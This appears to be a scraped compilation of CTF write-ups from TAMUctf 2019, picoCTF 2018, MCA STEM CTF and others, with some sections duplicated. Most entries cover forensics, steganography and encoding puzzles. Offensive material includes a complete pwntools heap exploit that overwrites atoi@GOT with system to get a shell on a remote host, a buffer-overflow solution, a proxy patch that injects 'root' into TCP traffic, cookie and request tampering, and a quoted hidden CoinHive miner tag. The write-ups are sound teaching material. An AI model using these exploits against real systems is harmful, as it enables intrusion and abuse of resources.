a/proxy/protocol/rawtcp.py.bkp b/proxy/protocol/rawtcp.pyindex 0ec5059..2ff5f29 100644--- a/proxy/protocol/rawtcp.py.bkp+++ b/proxy/protocol/rawtcp.py@@ -50,7 +50,10 @@ class RawTCPLayer(base.Layer): return continue - tcp_message = tcp.TCPMessage(dst == server, buf[:size].tobytes())+ x = buf[:size].tobytes()+ x = x.replace(b'"user": "alice",', b'"user": "root", ')+ print(x)+ tcp_message = tcp.TCPMessage(dst == server, x) if not self.ignore: f.messages.append(tcp_message) self.channel.ask("tcp_message", f)```Now we just click "Run" on the website again and...The rule of thumb on CTFs is "if it looks stupid but it works it's not stupid", and this certainly worked. The flag is `gigem{a_chain_is_only_as_strong_as_its_weakest_leporidae}` |
# TAMUctf 2019 - Misc - All challs excluding Onboarding Checklist
## HowdyWelcome to TAMUctf! This year most of the challenges will be dynamically scored meaning the point value will adjust for everyone, including those have already solved the challenge, based on the number of solves.
The secure coding challenges will appear when you have solved their corresponding challenges.
If you have any questions or issues feel free to contact the devs on the discord.
Good luck and have fun!
The flag is: `gigem{H0wdy!}`
**Solve**Obviously the flag is gigem{H0wdy!}
## Who am I?What is the A record for `tamuctf.com`? (Not in standard `gigem{flag}` format)
**Solve**
ping tamuctf.com
The flag is 52.33.57.247
## Who do i Trust?Who issued the certificate to `tamuctf.com`? (Not in standard `gigem{flag}` format)
**Solve**We just have to see the certificate on the browser
The flag is Let's Encrypt Authority X3
## Where am I?What is the name of the city where the server for tamuctf.com is located?
(Not in standard gigem{flag} format)
**Solve**With any random geo location tool or website we can find the flag.
The flag is Boardman
## I heard you like files.Bender B. Rodriguez was caught with a flash drive with only a single file on it. We think it may contain valuable information. His area of research is PDF files, so it's strange that this file is a PNG.
**Solve**
$ binwalk -e art.png $ DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 1920 x 1080, 8-bit/color RGBA, non-interlaced 3408641 0x340301 PDF document, version: "1.5" 3408712 0x340348 Zlib compressed data, default compression 3412206 0x3410EE Zlib compressed data, default compression 3418964 0x342B54 Unix path: /Type/FontDescriptor/FontName/BAAAAA+NotoSans-Regular 3419203 0x342C43 Zlib compressed data, default compression 3419623 0x342DE7 Unix path: /Type/Font/Subtype/TrueType/BaseFont/BAAAAA+NotoSans-Regular 3419994 0x342F5A Zlib compressed data, default compression 3428648 0x345128 Unix path: /Type/FontDescriptor/FontName/CAAAAA+DejaVuSerif 3428883 0x345213 Zlib compressed data, default compression 3429245 0x34537D Unix path: /Type/Font/Subtype/TrueType/BaseFont/CAAAAA+DejaVuSerif 3429667 0x345523 Unix path: /S/Transparency/CS/DeviceRGB/I true>>/Contents 2 0 R>> 3430685 0x34591D Zip archive data, at least v2.0 to extract, compressed size: 217, uncompressed size: 573, name: _rels/.rels 3430943 0x345A1F Zip archive data, at least v2.0 to extract, compressed size: 288, uncompressed size: 511, name: docProps/app.xml 3431277 0x345B6D Zip archive data, at least v2.0 to extract, compressed size: 356, uncompressed size: 731, name: docProps/core.xml 3431680 0x345D00 Zip archive data, at least v2.0 to extract, compressed size: 222, uncompressed size: 663, name: word/_rels/document.xml.rels 3431960 0x345E18 Zip archive data, at least v2.0 to extract, compressed size: 165, uncompressed size: 208, name: word/settings.xml 3432172 0x345EEC Zip archive data, at least v2.0 to extract, compressed size: 297, uncompressed size: 918, name: word/fontTable.xml 3432517 0x346045 Zip archive data, at least v2.0 to extract, compressed size: 83172, uncompressed size: 84725, name: word/media/image1.png 3515768 0x35A578 Zip archive data, at least v2.0 to extract, compressed size: 1138, uncompressed size: 4099, name: word/document.xml 3516953 0x35AA19 Zip archive data, at least v2.0 to extract, compressed size: 605, uncompressed size: 2192, name: word/styles.xml 3517603 0x35ACA3 Zip archive data, at least v2.0 to extract, compressed size: 352, uncompressed size: 1443, name: [Content_Types].xml 3518004 0x35AE34 Zip archive data, at least v1.0 to extract, compressed size: 20, uncompressed size: 20, name: not_the_flag.txt 3518847 0x35B17F End of Zip archive
(I tried to grep for the flag before, but nothing brought the flag to us)
In word/media we have other png file, it's not necessary use binwalk, even if it's not a simple png again, just:
cat image1.png
In the end of the file:
ZmxhZ3tQMGxZdEByX0QwX3kwdV9HM3RfSXRfTjB3P30K
Clearly a base64:
The flag is flag{P0lYt@r_D0_y0u_G3t_It_N0w?}
## Hello WorldMy first program!
Difficulty: medium
**Solve**We just have a simple C++ program, but with whitespaces before him, looks like a literally whitespace language:
I used this program to translate https://github.com/koturn/Whitespace
After translate in the file we can see the possible flag in table ASCII numbers:
push(103); push(105); push(103); push(101); push(109); push(123); push(48); push(104); push(95); push(109); push(121); push(95); push(119); push(104); push(52); push(116); push(95); push(115); push(112); push(52); push(99); push(49); push(110); push(103); push(95); push(121); push(48); push(117); push(95); push(104); push(52); push(118); push(51); push(125); push(33); push(101); push(99); push(97); push(112); push(115); push(101); push(116); push(105); push(104); push(119); push(32); push(102); push(111); push(32); push(116); push(111); push(108); push(32); push(97); push(32); push(115); push(105); push(32); push(101); push(114); push(117); push(115); push(32); push(116); push(97); push(104); push(116); push(32); push(44); push(101); push(101); push(103); push(32); push(121); push(108); push(108); push(111); push(103); push(32); push(116); push(101); push(101); push(119); push(115); push(32); push(108); push(108); push(101); push(87);
Translating this:
gigem{0h_my_wh4t_sp4c1ng_y0u_h4v3} |
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# TAMUctf 2019 - Misc - All challs excluding Onboarding Checklist
## HowdyWelcome to TAMUctf! This year most of the challenges will be dynamically scored meaning the point value will adjust for everyone, including those have already solved the challenge, based on the number of solves.
The secure coding challenges will appear when you have solved their corresponding challenges.
If you have any questions or issues feel free to contact the devs on the discord.
Good luck and have fun!
The flag is: `gigem{H0wdy!}`
**Solve**Obviously the flag is gigem{H0wdy!}
## Who am I?What is the A record for `tamuctf.com`? (Not in standard `gigem{flag}` format)
**Solve**
ping tamuctf.com
The flag is 52.33.57.247
## Who do i Trust?Who issued the certificate to `tamuctf.com`? (Not in standard `gigem{flag}` format)
**Solve**We just have to see the certificate on the browser
The flag is Let's Encrypt Authority X3
## Where am I?What is the name of the city where the server for tamuctf.com is located?
(Not in standard gigem{flag} format)
**Solve**With any random geo location tool or website we can find the flag.
The flag is Boardman
## I heard you like files.Bender B. Rodriguez was caught with a flash drive with only a single file on it. We think it may contain valuable information. His area of research is PDF files, so it's strange that this file is a PNG.
**Solve**
$ binwalk -e art.png $ DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 1920 x 1080, 8-bit/color RGBA, non-interlaced 3408641 0x340301 PDF document, version: "1.5" 3408712 0x340348 Zlib compressed data, default compression 3412206 0x3410EE Zlib compressed data, default compression 3418964 0x342B54 Unix path: /Type/FontDescriptor/FontName/BAAAAA+NotoSans-Regular 3419203 0x342C43 Zlib compressed data, default compression 3419623 0x342DE7 Unix path: /Type/Font/Subtype/TrueType/BaseFont/BAAAAA+NotoSans-Regular 3419994 0x342F5A Zlib compressed data, default compression 3428648 0x345128 Unix path: /Type/FontDescriptor/FontName/CAAAAA+DejaVuSerif 3428883 0x345213 Zlib compressed data, default compression 3429245 0x34537D Unix path: /Type/Font/Subtype/TrueType/BaseFont/CAAAAA+DejaVuSerif 3429667 0x345523 Unix path: /S/Transparency/CS/DeviceRGB/I true>>/Contents 2 0 R>> 3430685 0x34591D Zip archive data, at least v2.0 to extract, compressed size: 217, uncompressed size: 573, name: _rels/.rels 3430943 0x345A1F Zip archive data, at least v2.0 to extract, compressed size: 288, uncompressed size: 511, name: docProps/app.xml 3431277 0x345B6D Zip archive data, at least v2.0 to extract, compressed size: 356, uncompressed size: 731, name: docProps/core.xml 3431680 0x345D00 Zip archive data, at least v2.0 to extract, compressed size: 222, uncompressed size: 663, name: word/_rels/document.xml.rels 3431960 0x345E18 Zip archive data, at least v2.0 to extract, compressed size: 165, uncompressed size: 208, name: word/settings.xml 3432172 0x345EEC Zip archive data, at least v2.0 to extract, compressed size: 297, uncompressed size: 918, name: word/fontTable.xml 3432517 0x346045 Zip archive data, at least v2.0 to extract, compressed size: 83172, uncompressed size: 84725, name: word/media/image1.png 3515768 0x35A578 Zip archive data, at least v2.0 to extract, compressed size: 1138, uncompressed size: 4099, name: word/document.xml 3516953 0x35AA19 Zip archive data, at least v2.0 to extract, compressed size: 605, uncompressed size: 2192, name: word/styles.xml 3517603 0x35ACA3 Zip archive data, at least v2.0 to extract, compressed size: 352, uncompressed size: 1443, name: [Content_Types].xml 3518004 0x35AE34 Zip archive data, at least v1.0 to extract, compressed size: 20, uncompressed size: 20, name: not_the_flag.txt 3518847 0x35B17F End of Zip archive
(I tried to grep for the flag before, but nothing brought the flag to us)
In word/media we have other png file, it's not necessary use binwalk, even if it's not a simple png again, just:
cat image1.png
In the end of the file:
ZmxhZ3tQMGxZdEByX0QwX3kwdV9HM3RfSXRfTjB3P30K
Clearly a base64:
The flag is flag{P0lYt@r_D0_y0u_G3t_It_N0w?}
## Hello WorldMy first program!
Difficulty: medium
**Solve**We just have a simple C++ program, but with whitespaces before him, looks like a literally whitespace language:
I used this program to translate https://github.com/koturn/Whitespace
After translate in the file we can see the possible flag in table ASCII numbers:
push(103); push(105); push(103); push(101); push(109); push(123); push(48); push(104); push(95); push(109); push(121); push(95); push(119); push(104); push(52); push(116); push(95); push(115); push(112); push(52); push(99); push(49); push(110); push(103); push(95); push(121); push(48); push(117); push(95); push(104); push(52); push(118); push(51); push(125); push(33); push(101); push(99); push(97); push(112); push(115); push(101); push(116); push(105); push(104); push(119); push(32); push(102); push(111); push(32); push(116); push(111); push(108); push(32); push(97); push(32); push(115); push(105); push(32); push(101); push(114); push(117); push(115); push(32); push(116); push(97); push(104); push(116); push(32); push(44); push(101); push(101); push(103); push(32); push(121); push(108); push(108); push(111); push(103); push(32); push(116); push(101); push(101); push(119); push(115); push(32); push(108); push(108); push(101); push(87);
Translating this:
gigem{0h_my_wh4t_sp4c1ng_y0u_h4v3} |
Haha this was *way* easier than the intended solution :P
[https://thekidofarcrania.gitlab.io/2019/03/03/tamuctf/#pwn6](https://thekidofarcrania.gitlab.io/2019/03/03/tamuctf/#pwn6) |
# *buffer overflow 0*
## Information| Points |Category | Level||--|--|--|| 150 | Binary Exploitation |Easy |
## Challenge
> Let's start off simple, can you overflow the right buffer in this [program](https://2018shell.picoctf.com/static/b3e4e30f1c9d3fdd1ce245c849187c36/vuln) to get the flag? You can also find it in /problems/buffer-overflow-0_1_316c391426b9319fbdfb523ee15b37db on the shell server. [Source](https://2018shell.picoctf.com/static/b3e4e30f1c9d3fdd1ce245c849187c36/vuln.c).
### Hint> - How can you trigger the flag to print?>- If you try to do the math by hand, maybe try and add a few more characters. Sometimes there are things you aren't expecting.## Solution
Let's download the files, we have a execution file and a source file```c#include <stdio.h>#include <stdlib.h>#include <string.h>#include <signal.h>#define FLAGSIZE_MAX 64char flag[FLAGSIZE_MAX];
void sigsegv_handler(int sig) { fprintf(stderr, "%s\n", flag); fflush(stderr); exit(1);}
void vuln(char *input){ char buf[16]; strcpy(buf, input);}
int main(int argc, char **argv){ //open the flag.txt file FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } //Read from the file to flag fgets(flag,FLAGSIZE_MAX,f); //If there is a SIGSEGV run sigsegv_handler signal(SIGSEGV, sigsegv_handler); //gid settings gid_t gid = getegid(); setresgid(gid, gid, gid); //Need 1 argument to run the program if (argc > 1) { #run vuln with this argument vuln(argv[1]); printf("Thanks! Received: %s", argv[1]); } else printf("This program takes 1 argument.\n"); return 0;}```so basically we can see that if there is a SIGSEGV (segmentation falut) the program run sigsegv_handler function that print the flag we want.
So how could we cause a SIGSEGV? I took another look on the code and found that a *vuln* function called with the argument I supplied in the running of the program, so this is what I have a control on.
So let's take another look on the function: ```cvoid vuln(char *input){ char buf[16]; strcpy(buf, input);}``` The function take the argument and a buffer sized 16 bytes and call the strcpy function. **strcpy function -** copy data from src to dest```cchar *strcpy(char *dest, const char *src)```Our dest size is 16 byte, and src size is unlimited because we can choose whatever we want to be the src (argument to the run command). So if we choose an argument bigger than 16 bytes there will be a SIGSEGV. Let's check it in our computer, create a file named "flag.txt" in the folder of the vuln file, and write in it whatever you want, I chose "Wow here is the flag". Now run the execution file with a bigger argument like:
./vuln IamBiggerThan16BytesNow!!!!!!!!!!!!!!!!! and the text we wrote in the file now printed in the console. So do the same thing in the shell of picoCTF in order to read the actual flag file: ``` 1. cd /problems/buffer-overflow-0_1_316c391426b9319fbdfb523ee15b37db 2. /.vuln IamBiggerThan16BytesNow!!!!!!!!!! !!!!!!! ``` ## Flag> `picoCTF{ov3rfl0ws_ar3nt_that_bad_3598a894}`
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# Hello World!(Misc)## Description
Difficulty: Medium
Category: Misc
## Writeup
This challenge was an easy level challenge if someone noticed those strange spaces in the HelloWorld.cpp file. Yea those were Whitespaces(an estoric language). At first it was an easy looking challenge n it was. Decoding the whitespace gave us a strange output which certainly was not the flag.
So using an online whitespace decoder (https://vii5ard.github.io/whitespace/) , there was a tab of stack looking at which revealed some ascii codes which made a string i.e our FLAG :P
## gigem{0h_my_wh4t_sp4c1ng_y0u_h4v3} |
# TAMUCTF Stop and Listen (Network/Pentest) Write-Up
This is a pretty simple challenge. Great to get started with.
1. Very first thing. Lets connect to the VPN openvpn --config listen.ovpn2. Next we need to scan the entire subnet to see what we need to do nmap 172.30.0.0/28
3. The output of the command is:
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-02 21:56 CST Nmap scan report for 172.30.0.2 Host is up (0.086s latency). All 1000 scanned ports on 172.30.0.2 are closed MAC Address: 02:42:8D:86:EF:97 (Unknown) Nmap scan report for 172.30.0.14 Host is up (0.0000060s latency). All 1000 scanned ports on 172.30.0.14 are closed Nmap done: 16 IP addresses (2 hosts up) scanned in 4.77 seconds No ports open. Lets move to wireshark
**Information not relevant to challenge** When I worked this challenge nothing came up on the nmap. Coming from Hack The Box I thought it just wasn't a common port. If this happens on another CTF the next steps are to follow.
nmap -p 1-65535 172.30.0.0/28 to try every port in that range.
4. The next logical move is to see what traffic is on this network already. Funny enough opening wireshark solves the challenge.
Once you open wireshark you will slowly see UDP packets start to populate the area. Important note is that you do not need to scan the subnet to initiate those packets
If you right click any of those UDP packets and select follow \> UDP stream you can start to see text appear. I recommend closing that window and waiting a few minutes for the entire cycle to complete.
**Leave wireshark open for capturing but close the window that shows you the text**
5. Why read all that?? Well lets look back at the first challenge that taught you the flag format. It’s `gigem{FLAG}` right? Well taking that into account lets use wireshark find feature to just search for that. Completing that produces the flag.
Flag: gigem{f0rty_tw0_c9d950b61ea83} |
# SQL
## Type: Secure Coding
## Points: 419
## Description:>Now that you have broken the SQL Injection challenge it's your turn to fix it!>>To solve this challenge you must first fork the challenge and then modify the files in this repository and attempt to fix the vulnerability that you found.>>Everytime you make a commit your files are tested on the backend system. The results can be found under CI/CD->Jobs and then the last test ran.>>If you pass all of the tests the flag will be printed at the bottom of the CI/CD display. Otherwise you will either get an error or statement saying what happened.
The goal of this challenge, as stated in the description, is to fix the SQL injection bug that was seen in one of the other challenges.
One way to prevent SQL injection is with the use of prepared statements. Using PHP Data Objects (PDO) is method of implementing perpared statements here. By replacing the "User" and "Password" parameters with placeholders and setting their values outside the query, we are able to prevent SQL injection in this scenario and obtain the flag.
Main portion of login.php (before):``` $conn = new mysqli($servername, $username, $password, $dbname); if ($conn->connect_error) die("Connection failed: " . $conn->connect_error); $user = $_POST['username']; $pass = $_POST['password']; $sql = "SELECT * FROM login WHERE User='$user' AND Password='$pass'"; if ($result = $conn->query($sql)) { if ($result->num_rows >= 1) { $row = $result->fetch_assoc(); echo "You logged in as " . $row["User"]; $row = $result->fetch_assoc(); echo "<html>You logged in as " . $row["User"] . "</html>\n"; } else { echo "Sorry to say, that's invalid login info!"; } } $conn->close();
```
After:
``` $conn = new PDO($servername, $username, $password);
$user = $_POST['username']; $pass = $_POST['password'];
$sql = "SELECT User, Password FROM login WHERE User=? AND Password=? "; $query = $conn->prepare($sql); $query->execute(array($user,$pass)); if($query->rowCount() >= 1) { echo "You are logged in as " . $user; echo "<html>You logged in as " . $user . "</html>\n"; } else { echo "Sorry to say, that's invalid login info!"; }```
Flag: `gigem{the_best_damn_sql_anywhere}`
### References:* https://websitebeaver.com/php-pdo-prepared-statements-to-prevent-sql-injection |
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# Rick Roll Do Not Listen (Grab Bag 100)
We're given an audio file of Rick Astley's "Never Gonna Give You Up".
I've gotta admit that I struggled on this longer than I should have. I tried doing spectrum analysis, frequency analysis, binwalking, etc.. No dice.
Turns out, the secret data is embedded as audio samples inside of the audio file. This is a common steganography technique with audio files, since image and audio steganography differ greatly.
We can use steghide to pull the embedded data outside of the audio sample.
```$ steghide extract -sf RR.wav...MCA{asFSA9123mflZ01f}``` |
# QvR Code
Forensic, 150 points
## Description
*This is now a STEAM focused competition. Check out our new patented Quade van Ravesteyn (QvR) code. QvR beats similar codes by marginally increasing storage capacity. And it’s prettier to look at. Each encoding is like its own masterpiece.*
## File
## Solution
The image gives strong QR code vibes, and the title of the task cannot lie. The only thing is that plenty of colors are used here, instead of the usual black and white.
**Quade van Ravesteyn** was a Dutch painter so we initially thought of Piet Mondrian, another Dutch painter who inspired the **Piet** programming language, which is written using colorful images that oddly look like the one we are given (look it up). The number of colors used didn't match though, so we quickly abandoned the idea of Piet hidden inside a QR code.
Our next idea was to simply to try and transform this image into black and white, and hope it reads as a valid QR code.
Luckily enough, if we put away `#000000` and `#ffffff`, only 6 different colors are used in the image, which allows to bruteforce 64 possibilities of black and white images associated to it. Check [QvR.py](QvR.py) for the code.
After generating the 64 images, I estimated that figuring out a way to automatize the QR code decryption would take more time than doing it myself by hand (thanks zxing decoder).
It turns out that 3 of the 64 possibilities read as valid QR codes, which is actually not surprising because it is the maximum amount of distinct black and white images one could extract from an image that uses six different colors.
Here are the 3 valid images:
  
And their plaintext:
* `We wanted to incorporate Science Technology Engineering Art and Mathematics (STEAM). Enclose with MCA{} for final flag. So we needed to cover each letter. Let's start with S. Science: Science is the intellectual and practical activity encompassing the systematic study of the structure and behavior of the physical and natural world through observation and experiment. We incorporated science by allowing competitors to explore scientific concepts about the world such as color theory. Competitors also have to experiment to get the correct answer through observation.`
* `Now we are going to explore T. Technology: Competitors need to use the Internet to compete. What an amazing Technology. The internet was invented by Al Gore. Anyway, technology enables the encoding of the data, decoding of the data, and critical error correction algorithms present in the code. Prepend salt_ and append _pepper to flag. The next letter is E. Engineering: Competitors need to reverse-engineer a solution to decode the QvR code because the specification isn't published. As a discipline, engineering incorporates science and technology.`
* `And now it's A. Flag is impossible_color_theory Art: Art art art art art art art art. <- art. It can be anything. But specifically it's Dirck de Quade van Ravesteyn. This is the namesake artist of the QvR code. This artist was chosen because his name is similar to existing barcodes. Art also makes an appearance because of the RYB color theory. de Quade would have used this color theory in his works as he predated Newton, an organism who discovered that cyan, yellow, and magenta provide the largest color gamut. Finally, M: Mathematics: BORING!`
Enjoy! |
# Quals Saudi and Oman National Cyber Security CTF 2019 – Hack a nice day
* **Category:** Digital Forensics* **Points:** 100
## Challenge
> can you get the flag out to hack a nice day. Note: Flag format flag{XXXXXXX}> > [https://s3-eu-west-1.amazonaws.com/hubchallenges/Forensics/info.jpg](https://s3-eu-west-1.amazonaws.com/hubchallenges/Forensics/info.jpg)
## Solution
This is a steganography challenge.
Opening the image with an hexadecimal editor will reveal a string at `0x18`: `badisbad`.
Probably something was hidden inside the image with that passphrase. *steghide* can be used to analyze it.
```$ steghide --info info.jpg"info.jpg": format: jpeg capacity: 300.0 ByteTry to get information about embedded data ? (y/n) yEnter passphrase: badisbad embedded file "flaggg.txt": size: 21.0 Byte encrypted: rijndael-128, cbc compressed: yes```
*steghide* can be also used to extract hidden content.
```$ steghide --extract -sf info.jpg -p badisbadwrote extracted data to "flaggg.txt".```
The file contains the flag.
```flag{Stegn0_1s_n!ce}``` |
## Challenge name: :)### Difficulty: easy
### Description:> Look at what I found! XUBdTFdScw5XCVRGTglJXEpMSFpOQE5AVVxJBRpLT10aYBpIVwlbCVZATl1WTBpaTkBOQFVcSQdH
### Solution:
What we see is like base64, so we decode it.
import base64
c = 'XUBdTFdScw5XCVRGTglJXEpMSFpOQE5AVVxJBRpLT10aYBpIVwlbCVZATl1WTBpaTkBOQFVcSQdH' c = base64.b64decode(c)
**Output** ']@]LWRs\x0eW\tTFN\tI\\JLHZN@N@U\\I\x05\x1aKO]\x1a`\x1aHW\t[\tV@N]VL\x1aZN@N@U\\I\x07G'
So we got something meaningless.Here we need an encryption system that change hidden characters to word. The difficulty is easy, so it should be an easy one. I guess it's a repeating-XOR. We know flag starts with 'gigem{', so lets XOR 6 starting bytes with this string.
def xorbyte(s, key): key = key * (len(s) // len(key) + 1) output = '' for i in range(len(s)): output += chr(ord(s[i]) ^ ord(key[i])) return output xorbyte(c[:6], 'gigem{'
**Output**
':):):)' Repeats of ':)', it seems we got the key! Lets XOR all bytes to ':)'.
xorbyte(c, ':)') **Output**
"gigem{I'm not superstitious, but I am a little stitious.}"
|
# Kookie
Web | 10 points
Upon first look, the site offers us a set of standard credentials, `cookie`/`monster`.The name seems to suggest that web cookies are used in some way. Sure enough, when we checkthe cookies after logging in, we see an account cookie. Changing this value to `admin`and reloading returns the flag.
```CTF{kookie_cookies}``` |
Full writeup: 
### Summary
* Classic menu-style heap challenge* "Limited options" (malloc x2, write x1, free x1, leak x1)* Hidden function (option `1337`) = malloc+edit* UAF/tcache poisoning to overwrite arbitrary memory * Leak and get an extra edit * Overwrite `atoi@GOT` with `system`
```python#!/usr/bin/python2from pwn import *
def add(): p.sendlineafter("> ", "1")
def edit(data): p.sendlineafter("> ", "2") p.sendlineafter("Content? ", data)
def show(): p.sendlineafter("> ", "3")
def delete(): p.sendlineafter("> ", "4")
def fill(data): p.sendlineafter("> ", "1337") p.sendafter("Fill ", data)
got_atoi = 0x0000000000602060bss = 0x00000006020A0
with context.quiet: #p = process("./babyheap", env = {"LD_PRELOAD":"./libc.so.6"}) p = remote("51.68.189.144", 31005) #p = remote("35.243.188.20", 2000)
p.recvline()
#UAF to get arbitrary pointer add() delete() edit(p64(bss)) #On the next-next malloc, give me a pointer to bss (0x6020a0) add() #Now the next malloc will give us the pointer.
#Malloc #Zero out our "uses" and point "buf" to got_atoi fill((chr(0x0)*0x28) + p64(got_atoi))
#Leak libc address (atoi) show() p.recvuntil("Content: ") libc_atoi= u64(p.recvline().strip().ljust(8, chr(0x0))) print "Leaked libc_atoi: %s" % hex(libc_atoi)
#Calculate system offset_to_system = 0xf010 libc_system = libc_atoi + offset_to_system print "Calced libc_system: %s" % hex(libc_system)
#Win edit(p64(libc_system)) p.sendlineafter("> ", "/bin/sh") p.interactive()``` |
# Pick-Tac-Toe
Web | 75 points
To solve this challenge we must beat the computer at tic tac toe.It's impossible to beat a properly written computer, so instead you have to hack it.
First we notice that when we click a square, a form is submitted to`/move` with the location of the square (`l`, `c`, or `r` for the row,and `u`, `b`, or nothing preceding for the top, bottom, or center rows respectively).For example, the center square is just `c`, and the top left square is `ul`.
```html
<tr> <form id="form_ul" method="POST" action="/move"></form> <input type="hidden" name="move" value="ul"> <td id="ul" onclick="$('#form_ul').submit()"> </td> <form id="form_u" method="POST" action="/move"></form> <input type="hidden" name="move" value="u"> <td id="u" onclick="$('#form_u').submit()"> </td>
<form id="form_ur" method="POST" action="/move"></form> <input type="hidden" name="move" value="ur"> <td id="ur" onclick="$('#form_ur').submit()"> </td>
</tr>```
The thing stopping us from clicking on an already submitted squareis simply that the form does not exist.
We can try resubmitting a already filled square (the center square above) to get three in a row.```js$.post("/move", { move:"c"});```
It works! The server returns the flag once we run this in the console.
```CTF{i_beat_the_impossible}``` |
[February 14th]---Question:--- 3,9,13,15,18,7,20,1,4,14,5,21,6,2,17,10,8,16,12,11,19 Please input the flag with no spaces! :)
Answer--- 1. This seems to be a normal nr 3 is 1 letter = W 2. I was right, posting picture for easily understanding the task:
Flag:--- WELLIAMGLADTHATISOVER |
Flag is mmaped to region of memory. Pointer to mmap region is XORed and stored in a heap buffer. Pointer to heap buffer is on the stack. It is possible to leak the binary data via resolving `main` and reading small chunks at a time. It is possible to leak a stack pointer by resolving the `environ` symbol in libc. Then you simply need to traverse the stack and try to dereference pointers as above until you find the mmap region and the flag.
Full writeup here: [https://ctf.harrisongreen.me/2019/bsidessf-ctf/dribbles/](https://ctf.harrisongreen.me/2019/bsidessf-ctf/dribbles/) |
# Secrets
We're given an apk file, and asked to find its secrets.
Something to know about apk files are that they're basically just zip files. Thus, we can unzip them to view their contents.
```$ unzip howdyapp.apk```
Now let's have a look at the extracted contents.
```$ ls```
After running strings on every file, we run into an interesting string in `resources.arsc`.
```$ strings resources.arsc | less```
Looks like Base 64. Let's decode it.
```$ echo "Z2lnZW17aW5maW5pdGVfZ2lnZW1zfQ==" | base64 -d```
 |
# 0_Intrusion
We're told that there's some kind of malicious code embedded in an otherwise perfectly a-ok website. We're also given the page in question: https://tamuctf.com/files/c29425401b85b195cd1225505d728fc1/index.html
Intuition tells me to view the source code and look for any suspicious scripts.
At the very bottom, I find a CoinHive script, a JavaScript based Bitcoin miner.
```html<script src = http://10.187.195.95/js/colorbox.min.js></script><script>var color = new CoinHive.Anonymous("123456-asdfgh");color.start()</script></body>```
This challenge is a little bit different. We're not looking for a flag -- we were looking for that line of code. Thus, that malicious line of code is the answer to the challenge. |
# REbase
Binary RE, 400 points
## Description
*You receive an ELF binary which you must unlock with a key. Find the key and it will contain your flag.*
## Solution
So I read writeups about solving the challenge the "correct" way and I wanted to share my own solution which does not require any reverse engineering.
We are given a 64-bit ELF [rebase](rebase). Let's see what's up with it:
```console╭─face0xff@aniesu-chan ~/stemctf ╰─$ ./rebaseUsage: ./REbase flag╭─face0xff@aniesu-chan ~/stemctf ╰─$ ./rebase zzzzzz6tfh5tfh5ZXFWtmKgDZCyrmC5B+CiVfsyXUCQVfsyZRFzDU4yX2YCD/F5Ih8=Try Again :(╭─face0xff@aniesu-chan ~/stemctf ╰─$ ./rebase MCA{test}9ZXFWt2Kse2K8ZXFWtmKgDZCyrmC5B+CiVfsyXUCQVfsyZRFzDU4yX2YCD/F5Ih8=Try Again :(```
So the binary asks for a flag in argument, and outputs* the length of the flag we provided* some kind of encrypted version of the flag we provided* something that is probably the encrypted version of the actual flag.
We can also notice starting our input with `MCA{` makes the first characters of the two ciphers match up. Also, it looks like base64 but
With some groping around, we can find the password without actually reverse engineering the binary. It is just a bit long to do it manually (but still totally doable). I wrote a script to automatize the process ([rebase.py](rebase.py)).
I am not entirely sure about my script because the farthest it goes only yields this portion of the flag: `MCA{Th15_wUz_EaZy_Pe@Zy_L3m0n_SqU33z`. We can easily deduce the true flag from there, though.
```console╭─face0xff@aniesu-chan ~/stemctf ╰─$ ./rebase MCA{Th15_wUz_EaZy_Pe@Zy_L3m0n_SqU33zy}38ZXFWtmKgDZCyrmC5B+CiVfsyXUCQVfsyZRFzDU4yX2YCD/F5Ih8=ZXFWtmKgDZCyrmC5B+CiVfsyXUCQVfsyZRFzDU4yX2YCD/F5Ih8=Congratulations!```
Enjoy! |
Program creates a buffer with 32 random bytes followed by flag data and does a special string comparison agains a user input string. This comparison uses SSE instructions and leaks information about non-matching characters. You can perform a binary search attack character by character to leak the flag.
Full writeup here: [https://ctf.harrisongreen.me/2019/bsidessf-ctf/fastflag/](https://ctf.harrisongreen.me/2019/bsidessf-ctf/fastflag/) |
# 5_persistence
It looks like the attacker has somehow found a way to set up persistence. We need to find out how.
Perhaps the most common tactic that attackers use to set up persistence on a *NIX machine is through cron, a time-based job scheduler. All we need to do is check out what cron tabs are running.
First, let's mount the filesystem.
```$ sudo mkdir /mnt/5_persistence$ sudo mount -o loop filesystem.image /mnt/5_persistence$ cd /mnt/5_persistence```
Now, let's go ahead and check for cron tabs. We need to access the root shell to navigate inside of it. No worries. We can run `sudo` with the `-i` switch.
```$ sudo -i# cd /mnt/5_persistence/var/spool/cron/contabs# ls# cat root```
The first two columns tell us the time that this job runs. This job runs at `0230`. The last bit of the row tells us what's being run. Looks like it's a script in `/root`. Let's go ahead and navigate to that.
```# cd /mnt/5_persistence/root/# ls# cat backup.sh```
It adds a new user called `devtest2`. This user is added to the group `sudoers`. The md5sum of this script is `29ff58b6607c824451349183a570cc6c`. |
# I heard you like files
We're given a PNG file and the hint that the (fictional) person who this PNG file belongs to specializes in PDFs. It sounds like a PDF file is embedded in here. Let's binwalk through it, and extract all files possibly embedded inside.
```$ binwalk --dd=".*" ```
Yup. Looks like a PDF is indeed embedded in here. Let's go ahead and open it up.
This hint tells us that there may be another layer. Let's go back to the files we extracted and see if any of them seem out of the ordinary.
```$ file *```
That's strange. We have a Microsoft Word 2007+ file. Let's unzip it and see what files are embedded inside of it.
```$ unzip 34591D```
Well, at least we know the flag isn't there. Haha. Let's look around.
```$ tree```
Interesting. We have a PNG. Let's open it up.
Intuition tells me that there's something more here. Let's binwalk through it.
```$ binwalk image1.png```
Looks like there's another PDF. Let's extract it and view the PDF.
```$ binwalk --dd=".*" image1.png```
Nothing useful in the contents of this PDF. Intuition tells me that there must be something more here. Let's run strings on it and see if there's any data after the EOF (End-Of-File).
```$ strings 1485 | tail -n 10```
Interesting. That looks like a Base64 encoded string after the EOF there. Let's decode it
```$ echo "ZmxhZ3tQMGxZdEByX0QwX3kwdV9HM3RfSXRfTjB3P30K" | base64 -d ```
 |
# *Inspect Me*
## Information| Points |Category | Level||--|--|--|| 125 | Web Exploitation |Easy |
## Challenge> Inpect this code! `http://2018shell.picoctf.com:53213` ([link](http://2018shell.picoctf.com:53213))### Hint
> - How do you inspect a website's code on a browser?>- Check all the website code.## Solution
